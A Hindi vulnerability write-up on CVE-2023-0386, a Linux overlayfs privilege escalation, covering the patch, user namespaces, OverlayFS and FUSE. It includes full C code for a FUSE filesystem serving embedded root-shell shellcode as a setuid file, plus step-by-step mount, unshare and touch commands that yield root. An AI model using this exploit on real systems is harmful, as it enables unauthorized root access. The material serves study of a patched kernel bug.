
CVE-2023-0386 के लिए स्थानीय विशेषाधिकार वृद्धि शोषण जो Linux कर्नेल overlayfs को लक्षित करता है। इसमें विस्तृत भेद्यता विश्लेषण, PoC कोड, और FUSE तथा user namespaces का उपयोग करके चरण-दर-चरण शोषण मार्गदर्शिका शामिल है।
gcc -Wall exp.c `pkg-config fuse --cflags --libs` -o exp
./exp /tmp

इस लेख का सैद्धांतिक ज्ञान (नेमस्पेस, ओवरले फ़ाइल सिस्टम, FUSE फ़ाइल सिस्टम, आदि) chatGPT से लिया गया है।
भेद्यता संख्या: CVE-2023-0386
प्रभावित उत्पाद: linux kernel - ओवरले फ़ाइल सिस्टम
प्रभावित संस्करण: 5.11 ~ 5.19
शोषण की शर्तें: unshar कर सकते हैं या ओवरले फ़ाइल सिस्टम बना सकते हैं
शोषण का प्रभाव: स्थानीय विशेषाधिकार वृद्धि (local privilege escalation)
स्वयं कर्नेल संकलित करें:
भेद्यता संस्करण सीमा के अंतर्गत, 5.15 को छोड़कर (5.15 में संभवतः समस्या है), overlay और FUSE दोनों फ़ाइल सिस्टम सक्षम करें:
CONFIG_SLUB_DEBUGOVERLAY_FS
CONFIG_FUSE_FS
Ubuntu 21.10 (कर्नेल संस्करण 5.13.0-16-generic) पर व्यावहारिक परीक्षण सफल रहा:

भेद्यता विश्लेषण से पहले, आइए chatGPT को Linux कर्नेल विशेषज्ञ की भूमिका दें:
(chatGPT से पूछें: अब आप एक Linux कर्नेल विशेषज्ञ की भूमिका निभाएं और मेरे कुछ प्रश्नों को हल करने में मदद करें)
इस भेद्यता के बारे में सार्वजनिक जानकारी कम है; सबसे सीधी जानकारी इसका पैच है। पैच लिंक निम्नलिखित है:
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=4f11ada10d0a

देखा जा सकता है कि ovl_copy_up_one फ़ंक्शन में एक जाँच जोड़ी गई है। पहले chatGPT से पूछते हैं कि यह फ़ंक्शन क्या करता है:

तो यह फ़ंक्शन ओवरले फ़ाइल सिस्टम में निचली परत की फ़ाइल को ऊपरी परत में कॉपी करने की क्रिया के दौरान काम करता है। अब संदर्भ के साथ इस पैच द्वारा जोड़ी गई जाँच को देखते हैं:
static int ovl_copy_up_one(struct dentry *parent, struct dentry *dentry,
int flags)
{
int err;
DEFINE_DELAYED_CALL(done);
struct path parentpath;
struct ovl_copy_up_ctx ctx = {
.parent = parent,
.dentry = dentry,
.workdir = ovl_workdir(dentry),
};
if (WARN_ON(!ctx.workdir))
return -EROFS;
ovl_path_lower(dentry, &ctx.lowerpath);
err = vfs_getattr(&ctx.lowerpath, &ctx.stat,//[1] 获取底层文件系统的stat
STATX_BASIC_STATS, AT_STATX_SYNC_AS_STAT);
if (err)
return err;
//[2]补丁新加判断文件的stat属性中的用户id和用户组id是否在当前命名空间有映射
if (!kuid_has_mapping(current_user_ns(), ctx.stat.uid) ||
!kgid_has_mapping(current_user_ns(), ctx.stat.gid))
return -EOVERFLOW;
[1] पहले, vfs_getattr फ़ंक्शन के माध्यम से निचले फ़ाइल सिस्टम में लक्ष्य फ़ाइल की विशेषताएँ प्राप्त की जाती हैं। vfs_getattr फ़ंक्शन किसी फ़ाइल का struct path संरचना पास करके उस फ़ाइल के अनुरूप struct stat संरचना प्राप्त करता है।
[1.1] ctx.lowerpath ओवरले फ़ाइल सिस्टम में निचले फ़ाइल सिस्टम के किसी फ़ाइल का पथ है। ओवरले फ़ाइल सिस्टम का परिचय आगे दिया जाएगा।
[1.2] struct stat संरचना फ़ाइल की मेटाडेटा जानकारी संग्रहीत करती है, जिसमें फ़ाइल का स्वामी और समूह शामिल होते हैं। प्राप्त स्वामी जानकारी की जाँच नीचे पैच में जोड़ी गई शर्त में की जाती है।
[2] फिर kuid_has_mapping फ़ंक्शन को कॉल करके ऊपर प्राप्त फ़ाइल के स्वामी और समूह की जानकारी की जाँच की जाती है। यह जाँचा जाता है कि लक्ष्य फ़ाइल का स्वामी और समूह वर्तमान यूज़र नेमस्पेस में मैप है या नहीं।
[2.1] kuid_has_mapping फ़ंक्शन में दो पैरामीटर होते हैं: एक struct user_namespace यूज़र नेमस्पेस संरचना और एक struct kuid कर्नेल यूज़र संरचना। यह फ़ंक्शन जाँचता है कि दिया गया उपयोगकर्ता दिए गए यूज़र नेमस्पेस में मैप है या नहीं। नेमस्पेस में उपयोगकर्ता मैपिंग की विस्तृत जानकारी आगे दी जाएगी।
इसलिए हम जानते हैं कि जब इस भेद्यता-युक्त फ़ंक्शन (ovl_copy_up_one) पर कार्रवाई होती है, यदि लक्ष्य निचली परत की फ़ाइल का स्वामी उपयोगकर्ता या समूह वर्तमान नेमस्पेस में मैप नहीं है, तो यह विफल हो जाएगा।
अब पैच का सिद्धांत स्पष्ट हो गया है, लेकिन फिर भी इस भेद्यता को रिप्रोड्यूस करने के लिए हमें निम्नलिखित प्रश्नों को हल करना होगा:
ovl_copy_up_one वाली लॉजिक को कैसे ट्रिगर किया जाए, यानी ओवरले फ़ाइल सिस्टम में निचली परत की फ़ाइल को ऊपरी परत में कॉपी करना?lowerpath उपर्युक्त लॉजिक श्रृंखला में वास्तव में क्या भूमिका निभाता है?इन दो प्रश्नों को हल करने से पहले, हमें कुछ बुनियादी अवधारणाओं को समझना होगा:
(chatGPT से पूछें: कृपया Linux कर्नेल में नेमस्पेस के बारे में बताएं)
Linux में, नेमस्पेस (namespaces) एक कर्नेल सुविधा है जिसका उपयोग संसाधन अलगाव (resource isolation) के लिए किया जाता है। नेमस्पेस के माध्यम से प्रक्रियाओं का एक समूह ऐसा प्रतीत होता है जैसे वे स्वतंत्र सिस्टम वातावरण में चल रही हों, जिससे सिस्टम की सुरक्षा और प्रबंधनीयता बढ़ती है। नेमस्पेस कंटेनर तकनीक (जैसे Docker) में महत्वपूर्ण भूमिका निभाते हैं, जिससे कंटेनर अलग-थलग वातावरण में चल सकते हैं और अन्य कंटेनर या मुख्य सिस्टम को प्रभावित नहीं करते।
Linux कर्नेल 7 प्रकार के नेमस्पेस का समर्थन करता है (mount, pid, net, ipc, user, time, cgroup); प्रत्येक नेमस्पेस एक विशेष प्रकार के सिस्टम संसाधन को अलग करता है। नेमस्पेस को सिस्टम कॉल (जैसे clone, unshare और setns) के माध्यम से बनाया, संशोधित और प्रबंधित किया जाता है। कंटेनर रनटाइम (जैसे Docker) और अन्य वर्चुअलाइज़ेशन उपकरण इन नेमस्पेस सुविधाओं का उपयोग करके कंटेनरों के लिए स्वतंत्र, अलग-थलग निष्पादन वातावरण प्रदान करते हैं।
इनमें से, भेद्यता पैच द्वारा जोड़ा गया जाँच फ़ंक्शन kuid_has_mapping उपर्युक्त 7 नेमस्पेस में से यूज़र नेमस्पेस (user namespace) से संबंधित है।
(chatGPT से पूछें: कृपया इनमें से यूज़र नेमस्पेस के बारे में बताएं)
यूज़र नेमस्पेस (User Namespace) का उपयोग उपयोगकर्ता ID (UID) और समूह ID (GID) को अलग करने के लिए किया जाता है। इसके माध्यम से विभिन्न नेमस्पेस में उपयोगकर्ता और समूह ID के स्वतंत्र सेट उपयोग किए जा सकते हैं। इसका मतलब है कि एक यूज़र नेमस्पेस में उपयोगकर्ता और समूह का किसी अन्य नेमस्पेस में अलग ID या अनुमतियाँ हो सकती हैं। यूज़र नेमस्पेस सिस्टम की सुरक्षा और प्रबंधनीयता बढ़ा सकता है, विशेष रूप से कंटेनरीकृत वातावरण में।
यूज़र नेमस्पेस की प्रमुख विशेषता ID मैपिंग है: यूज़र नेमस्पेस एक नेमस्पेस के UID और GID को दूसरे नेमस्पेस के UID और GID में मैप करने की अनुमति देता है। इसका अर्थ है कि विभिन्न यूज़र नेमस्पेस में समान UID और GID अलग-अलग उपयोगकर्ताओं और समूहों का प्रतिनिधित्व कर सकते हैं। उदाहरण के लिए, कंटेनर में root उपयोगकर्ता (UID 0) को मुख्य सिस्टम में एक गैर-विशेषाधिकार प्राप्त उपयोगकर्ता के रूप में मैप किया जा सकता है।
हमें बस निम्नलिखित बिंदुओं को याद रखने की आवश्यकता है:
/proc/[pid]/uid_map; /proc/[pid]/gid_map संशोधित करके)। इस कार्रवाई के लिए आमतौर पर प्रारंभिक नेमस्पेस में root विशेषाधिकार की आवश्यकता होती है।उदाहरण के लिए, मैं breeze उपयोगकर्ता के साथ एक नया यूज़र नेमस्पेस बनाता हूँ, फिर उस नेमस्पेस में root स्वामित्व वाली फ़ाइल देखने पर समूह nobody दिखाई देता है:

ऐसा इसलिए है क्योंकि नए नेमस्पेस में, root उपयोगकर्ता वही breeze उपयोगकर्ता है जिसने नेमस्पेस बनाया है, जबकि प्रारंभिक नेमस्पेस के root को मैंने नए नेमस्पेस में मैन्युअल रूप से मैप नहीं किया है, इसलिए इसे नए नेमस्पेस में nobody के रूप में पहचाना जाता है।
तो यहाँ हम समझ सकते हैं कि इस पैच का उद्देश्य क्या है: ओवरले फ़ाइल सिस्टम की निचली परत से कॉपी होने वाली फ़ाइल का स्वामी (समूह) उपयोगकर्ता (समूह) वर्तमान नेमस्पेस में मैप होना चाहिए; तभी आगे की कॉपी कार्रवाई जारी रहती है, अन्यथा त्रुटि लौटाई जाती है। यानी, nobody के रूप में पहचाने जाने की स्थिति कॉपी को विफल कर देती है।
(chatGPT से पूछें: कृपया Linux में ओवरले फ़ाइल सिस्टम के बारे में बताएं)
ओवरले फ़ाइल सिस्टम (जिसे OverlayFS भी कहा जाता है) Linux कर्नेल का एक वर्चुअल फ़ाइल सिस्टम है। यह दो या अधिक मौजूदा निर्देशिका पदानुक्रमों (जिन्हें 'lower' और 'upper' परतें कहा जाता है) को एकीकृत दृश्य में मर्ज करने की अनुमति देता है। ओवरले फ़ाइल सिस्टम केवल-पठनीय फ़ाइल सिस्टम (जैसे इमेज) पर लेखन क्षमता लागू करने के लिए बहुत उपयोगी है, क्योंकि यह लेखन क्रियाओं को ऊपर रखी गई एक लिखने योग्य परत पर पुनर्निर्देशित कर सकता है। यह विधि कंटेनर तकनीक (जैसे Docker) में व्यापक रूप से उपयोग की जाती है, क्योंकि यह एक हल्का और उच्च-प्रदर्शन वाला फ़ाइल सिस्टम वर्चुअलाइज़ेशन समाधान प्रदान करती है।
नीचे दिए गए चित्र से यह समझा जा सकता है कि ओवरले फ़ाइल सिस्टम निर्देशिका की वास्तविक निचली/ऊपरी परत फ़ाइलें merge परत की फ़ाइलों से कैसे संबंधित होती हैं:

चूँकि ऊपरी फ़ाइल सिस्टम लिखने योग्य है, उपयोगकर्ता जब ऊपरी परत की फ़ाइल को संशोधित करता है तो सीधे संशोधित किया जाता है। लेकिन यदि उपयोगकर्ता निचली परत की फ़ाइल को संशोधित करना चाहता है, जैसे उपर्युक्त चित्र में file D, तो चूँकि निचला फ़ाइल सिस्टम केवल-पठनीय है, file D को ऊपरी परत में कॉपी (copy up) करके file D' बनाया जाता है और फिर संशोधन किया जाता है। वास्तव में संशोधन ऊपरी परत में कॉपी की गई file D' का होता है, जबकि निचली परत की file D स्वयं अपरिवर्तित रहती है। यही ओवरले फ़ाइल सिस्टम में COW (copy on write / लिखते समय प्रतिलिपि) है:

(chatGPT से पूछें: कृपया मुझे एक साधारण ओवरले फ़ाइल सिस्टम बनाने का व्यावहारिक उदाहरण दें)
हम निम्नलिखित तरीके से सरलता से दिखाते हैं कि ओवरले फ़ाइल सिस्टम कैसे बनाया जाता है:
सबसे पहले, हमें lower1, lower2, upper और work निर्देशिकाएँ बनानी होंगी। ये निर्देशिकाएँ ओवरले फ़ाइल सिस्टम के लिए उपयोग होंगी। साथ ही, हमें merged दृश्य तक पहुँचने के लिए एक माउंट पॉइंट (जैसे merged) भी बनाना होगा। और lower1 तथा lower2 निर्देशिकाओं में कुछ सामग्री जोड़ें:
mkdir lower1 lower2 upper work merged
echo "This is a file in lower1." > lower1/file1.txt
echo "This is a file in lower2." > lower2/file2.txt
ओवरले फ़ाइल सिस्टम को माउंट करने के लिए mount कमांड और -t overlay विकल्प का उपयोग करें। आपको lowerdir, upperdir और workdir पैरामीटर निर्दिष्ट करने होंगे, जैसा नीचे दिखाया गया है:
mount -t overlay overlay -o lowerdir=lower1:lower2,upperdir=upper,workdir=work merged
merge निर्देशिका में ऊपरी और निचली परतों के फ़ाइल सिस्टम से आई फ़ाइलें देखी जा सकती हैं:

इस निर्देशिका में चाहे हम नई फ़ाइल बनाएँ, फ़ाइल हटाएँ या फ़ाइल संशोधित करें, केवल ऊपरी फ़ाइल सिस्टम बदलता है, निचली परत पर कोई प्रभाव नहीं पड़ता। उदाहरण के लिए, एक नई फ़ाइल बनाना (वास्तव में वह upper में बनती है):

मौजूदा फ़ाइल को संशोधित करना (फ़ाइल को lower1 से upper में कॉपी करके फिर संशोधित करना):

संक्षेप में, भेद्यता से संबंधित लॉजिक यह है कि जब हम ओवरले फ़ाइल सिस्टम में निचली परत से आई किसी फ़ाइल को संशोधित करते हैं, तो पहले उस फ़ाइल को ऊपरी फ़ाइल सिस्टम में कॉपी किया जाता है, और फिर संशोधन किया जाता है।
उपर्युक्त विश्लेषण से हम मोटे तौर पर भेद्यता की पूरी तस्वीर पुनर्स्थापित कर सकते हैं: जब ओवरले फ़ाइल सिस्टम में copy up क्रिया होती है (निचली परत की फ़ाइल को संशोधित करने का प्रयास, जो निचली फ़ाइल को ऊपरी परत में कॉपी करने को ट्रिगर करता है):
तो सवाल यह है कि, जिस फ़ाइल का स्वामी उपयोगकर्ता मैप नहीं है, उसे कॉपी करने से समस्या क्यों उत्पन्न होती है?
वास्तव में इस प्रश्न का उत्तर सरल है। फ़ाइल कॉपी करने का अर्थ केवल फ़ाइल की सामग्री कॉपी करना नहीं है; फ़ाइल का मेटाडेटा, यानी स्वामी जानकारी, टाइमस्टैम्प, अनुमति जानकारी और विस्तारित जानकारी जैसे capabilities आदि भी साथ में कॉपी हो जाते हैं। इससे उत्पन्न जोखिम यह है कि यदि निचला फ़ाइल सिस्टम एक उपयोगकर्ता फ़ाइल सिस्टम है (जैसे FUSE), जिसे उपयोगकर्ता पूरी तरह नियंत्रित कर सकता है और किसी भी फ़ाइल को कस्टमाइज़ कर सकता है, लेकिन उस फ़ाइल सिस्टम में सीमाएँ हैं (जैसे nosuid), तो यह भेद्यता निचली परत के उपयोगकर्ता-कस्टमाइज़ किए गए suid फ़ाइल को nosuid फ़ाइल सिस्टम से सामान्य फ़ाइल सिस्टम में कॉपी करने की अनुमति देती है, जिससे अवैध suid फ़ाइल को suid विशेषाधिकार मिल जाता है और इस प्रकार विशेषाधिकार वृद्धि (privilege escalation) होती है।
(chatGPT से पूछें: कृपया FUSE फ़ाइल सिस्टम के बारे में बताएं)
FUSE (Filesystem in Userspace) एक फ़ाइल सिस्टम इंटरफ़ेस है जो उपयोगकर्ताओं को कर्नेल स्पेस के बजाय यूज़र स्पेस में कस्टम फ़ाइल सिस्टम को लागू करने और चलाने की अनुमति देता है। FUSE का उद्देश्य फ़ाइल सिस्टम के विकास और परिनियोजन को सरल बनाना है, साथ ही अच्छा प्रदर्शन और सुरक्षा प्रदान करना है। FUSE का उपयोग Linux और अन्य Unix-जैसे सिस्टम (जैसे macOS और FreeBSD) पर व्यापक रूप से किया जाता है।
सीधे शब्दों में कहें तो, FUSE फ़ाइल सिस्टम हमें यूज़र स्पेस में फ़ाइल सिस्टम के कुछ कॉलबैक फ़ंक्शंस (जैसे open, write, readdir, यहाँ तक कि getattr जैसी फ़ाइल मेटाडेटा जानकारी) स्वयं परिभाषित करने की अनुमति देता है।
नीचे दिया गया FUSE फ़ाइल सिस्टम कोड (chatGPT द्वारा) सीखने के लिए एक उदाहरण के साथ-साथ आगे की भेद्यता के शोषण में भी उपयोग किया जा सकता है:
(chatGPT से पूछें: कृपया मुझे FUSE फ़ाइल सिस्टम का एक सरल कोड उदाहरण दें, जिसमें एक hello फ़ाइल हो, फ़ाइल की सामग्री "helloworld" स्ट्रिंग हो, और वह फ़ाइल root स्वामित्व वाली setuid फ़ाइल हो)
सरल संशोधनों के बाद (फ़ाइल की सामग्री को बैकडोर बाइनरी डेटा में बदलना, कुछ फ़ाइल अनुमतियाँ और फ़ाइल आकार आदि बदलना):
#define FUSE_USE_VERSION 30
#include <fuse.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
static const char *hello_path = "/hello";//fuse文件系统中有一个名为hello的文件,这里是文件路径
const char hello_str[] = {//fuse文件系统中的suid 后门文件的二进制内容
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00,
0x00, 0x56, 0x56, 0x56, 0x56, 0x00, 0x00, 0x00,
0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00,
0x02, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x51, 0xe5, 0x74, 0x64, 0x07, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x31, 0xff, 0x31, 0xd2, 0x31, 0xf6, 0x6a, 0x75,
0x58, 0x0f, 0x05, 0x31, 0xff, 0x31, 0xd2, 0x31,
0xf6, 0x6a, 0x77, 0x58, 0x0f, 0x05, 0x6a, 0x68,
0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f,
0x2f, 0x73, 0x50, 0x48, 0x89, 0xe7, 0x68, 0x72,
0x69, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01,
0x01, 0x01, 0x31, 0xf6, 0x56, 0x6a, 0x08, 0x5e,
0x48, 0x01, 0xe6, 0x56, 0x48, 0x89, 0xe6, 0x31,
0xd2, 0x6a, 0x3b, 0x58, 0x0f, 0x05};
static int hellofs_getattr(const char *path, struct stat *stbuf)//获取文件或目录的属性信息的回调函数getattr
{
int res = 0;
memset(stbuf, 0, sizeof(struct stat));
if (strcmp(path, "/") == 0) {//fuse文件系统根目录的权限,0755
stbuf->st_mode = S_IFDIR | 0755;
stbuf->st_nlink = 2;
} else if (strcmp(path, hello_path) == 0) {//hello文件的权限,777并且带有SUID
stbuf->st_mode = S_IFREG | S_ISUID | 0777;
stbuf->st_nlink = 1;
stbuf->st_size = sizeof(hello_str); //hello文件实际大小
} else {
res = -ENOENT;
}
return res;
}
static int hellofs_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
off_t offset, struct fuse_file_info *fi)//获取目录信息的函数
{
(void) offset;
(void) fi;
if (strcmp(path, "/") != 0) {//目前只支持查看fuse的根目录
return -ENOENT;
}
filler(buf, ".", NULL, 0);//默认显示.和..
filler(buf, "..", NULL, 0);
filler(buf, hello_path + 1, NULL, 0);//fuse根目录有一个hello文件
return 0;
}
static int hellofs_open(const char *path, struct fuse_file_info *fi)//打开文件的open回调函数
{
if (strcmp(path, hello_path) != 0) {//只支持打开hello文件
return -ENOENT;
}
return 0;
}
static int hellofs_read(const char *path, char *buf, size_t size, off_t offset,
struct fuse_file_info *fi)//读文件的回调函数read
{
size_t len;
(void) fi;
if(strcmp(path, hello_path) != 0) {//只支持读hello文件
return -ENOENT;
}
len = sizeof(hello_str);
if (offset < len) {
if (offset + size > len) {
size = len - offset;
}
memcpy(buf, hello_str + offset, size);//返回hello文件的内容,即上面的二进制数组
} else {
size = 0;
}
return size;
}
static struct fuse_operations hellofs_oper = {//只实现上述四个回调函数已经够了
.getattr = hellofs_getattr,
.readdir = hellofs_readdir,
.open = hellofs_open,
.read = hellofs_read,
};
int main(int argc, char *argv[])
{
return fuse_main(argc, argv, &hellofs_oper, NULL);//注册回调函数
}
उपर्युक्त कोड एक FUSE फ़ाइल सिस्टम बनाता है, जिसमें केवल एक फ़ाइल hello है, जिसकी सामग्री एक बाइनरी बैकडोर प्रोग्राम है, और इसकी अनुमतियाँ root स्वामित्व वाली setuid फ़ाइल की हैं। कुल मिलाकर केवल चार कॉलबैक फ़ंक्शंस लागू किए गए हैं, जिनका उपयोग केवल hello फ़ाइल को देखने, खोलने और पढ़ने जैसी बुनियादी क्रियाओं के लिए किया जा सकता है। हम निम्नलिखित कमांड से FUSE फ़ाइल सिस्टम को संकलित और माउंट कर सकते हैं:
gcc -Wall hellofs.c `pkg-config fuse --cflags --libs` -o hellofs
mkdir fusefs
./hellofs ./fusefs
फिर fusefs निर्देशिका में हमारी hello फ़ाइल देखी जा सकती है, जो root स्वामित्व वाली suid फ़ाइल है:

लेकिन सामान्य उपयोगकर्ता FUSE फ़ाइल सिस्टम को suid सक्षम करके माउंट नहीं कर सकता, यानी सामान्य उपयोगकर्ता द्वारा माउंट किए गए FUSE फ़ाइल सिस्टम सभी nosuid होते हैं। इसलिए अब भले ही हम इस suid बैकडोर फ़ाइल को चलाएँ, हमें root विशेषाधिकार नहीं मिल सकता:

अब हम CVE-2023-0386 भेद्यता और उपर्युक्त FUSE फ़ाइल सिस्टम का उपयोग करके विशेषाधिकार वृद्धि पूरी करेंगे।
सबसे पहले, भेद्यता परिदृश्य के अनुसार एक ओवरले फ़ाइल सिस्टम बनाना होगा। FUSE फ़ाइल सिस्टम को निचली परत के रूप में उपयोग करें, और एक ऐसी निर्देशिका चुनें जिसे हम ऊपरी परत के रूप में लिख सकें। पहले workdir आदि ओवरले-संबंधित निर्देशिकाएँ बनाएँ, और FUSE फ़ाइल सिस्टम माउंट करें।
mkdir hello_mount_point overlay_mount_point upperdir workdir #创建相关目录
./hellofs hello_mount_point #挂载fuse文件系统

फिर एक नया यूज़र नेमस्पेस, mount नेमस्पेस और pid नेमस्पेस बनाएँ, क्योंकि आगे हमें ओवरले फ़ाइल सिस्टम बनाना है। डिफ़ॉल्ट रूप से हमारे पास mount अनुमति नहीं होती, इसलिए हमें नए नेमस्पेस में mount अनुमति प्राप्त करनी होगी।
unshare -Urm

ओवरले फ़ाइल सिस्टम बनाएँ, जिसमें ऊपर दिए गए suid बैकडोर फ़ाइल hello वाले FUSE फ़ाइल सिस्टम को निचली परत के रूप में उपयोग करें, और ऊपरी परत हमारी लिखने योग्य upper निर्देशिका होगी:
mount -t overlay overlay -o lowerdir=hello_mount_point,upperdir=upperdir,workdir=workdir overlay_mount_point

ओवरले की वर्तमान स्थिति नीचे चित्र में है:

अब हमारा लक्ष्य इस भेद्यता का उपयोग करके suid बैकडोर फ़ाइल को nosuid माउंटेड FUSE फ़ाइल सिस्टम से upper फ़ाइल सिस्टम में कॉपी करना है। upper फ़ाइल सिस्टम ऑपरेटिंग सिस्टम का डिफ़ॉल्ट फ़ाइल सिस्टम है और उसमें suid सक्षम है। यह क्रिया बैकडोर फ़ाइल को उसकी suid विशेषता सहित कॉपी कर देगी। इसलिए हमें अभी ओवरले फ़ाइल सिस्टम में copy up क्रिया ट्रिगर करनी है; यह क्रिया आमतौर पर तब ट्रिगर होती है जब हम निचली परत की फ़ाइल को संशोधित करने का प्रयास करते हैं। यही कारण है कि हमने FUSE फ़ाइल सिस्टम में hello फ़ाइल की अनुमति 777 रखी थी।
वास्तव में, फ़ाइल को संशोधित करने का अर्थ केवल फ़ाइल की सामग्री बदलना नहीं है; फ़ाइल के अन्य गुणों, जैसे टाइमस्टैम्प, को बदलने से भी copy up क्रिया ट्रिगर होती है। जबकि touch कमांड किसी पहले से मौजूद फ़ाइल को बनाने का प्रयास करता है, तो वह मौजूदा फ़ाइल को ओवरराइट नहीं करता, बल्कि केवल फ़ाइल के एक्सेस समय और संशोधन समय के टाइमस्टैम्प बदलता है। टाइमस्टैम्प जानकारी भी फ़ाइल की attr विस्तारित जानकारी मानी जाती है, और उसके बदलने से भी ओवरले फ़ाइल सिस्टम की ऊपर-कॉपी (copy up) ट्रिगर होती है।
कॉल स्टैक नीचे दिया गया है। फ़ाइल के एक्सेस और संशोधन टाइमस्टैम्प बदलने के कारण, ovl_setattr में ऊपर-कॉपी (copy up) ट्रिगर हुई:

इसलिए ऊपर दिए गए चरणों पर लौटते हुए, हमें केवल ओवरले फ़ाइल सिस्टम की merge निर्देशिका में जाना है और touch से बैकडोर फ़ाइल hello का टाइमस्टैम्प बदलना है:
touch overlay_mount_point/hello

और यहाँ copy up पहले ही ट्रिगर हो चुकी है:

हम ऊपरी निर्देशिका, यानी upper निर्देशिका देखते हैं:
ls -al upperdir

फिर नेमस्पेस से बाहर निकलकर upperdir/hello चलाएँ और root शेल प्राप्त करें:

exp.c देखें।
संकलन और निष्पादन:
gcc -Wall exp.c `pkg-config fuse --cflags --libs` -o exp
./exp /tmp
तो इस पैच का महत्व यह है: यदि हम ऐसा करके विशेषाधिकार वृद्धि करने का प्रयास करते हैं, तो प्रारंभिक नेमस्पेस का root उपयोगकर्ता नए यूज़र नेमस्पेस में मैप नहीं होगा (और हम उसे मैप भी नहीं कर सकते, क्योंकि इसके लिए विशेषाधिकार चाहिए), इसलिए कार्रवाई विफल हो जाएगी। लेकिन यदि इस उपयोगकर्ता को नए यूज़र नेमस्पेस में मैप किया गया है, तो इसे एक वैध परिदृश्य माना जाता है।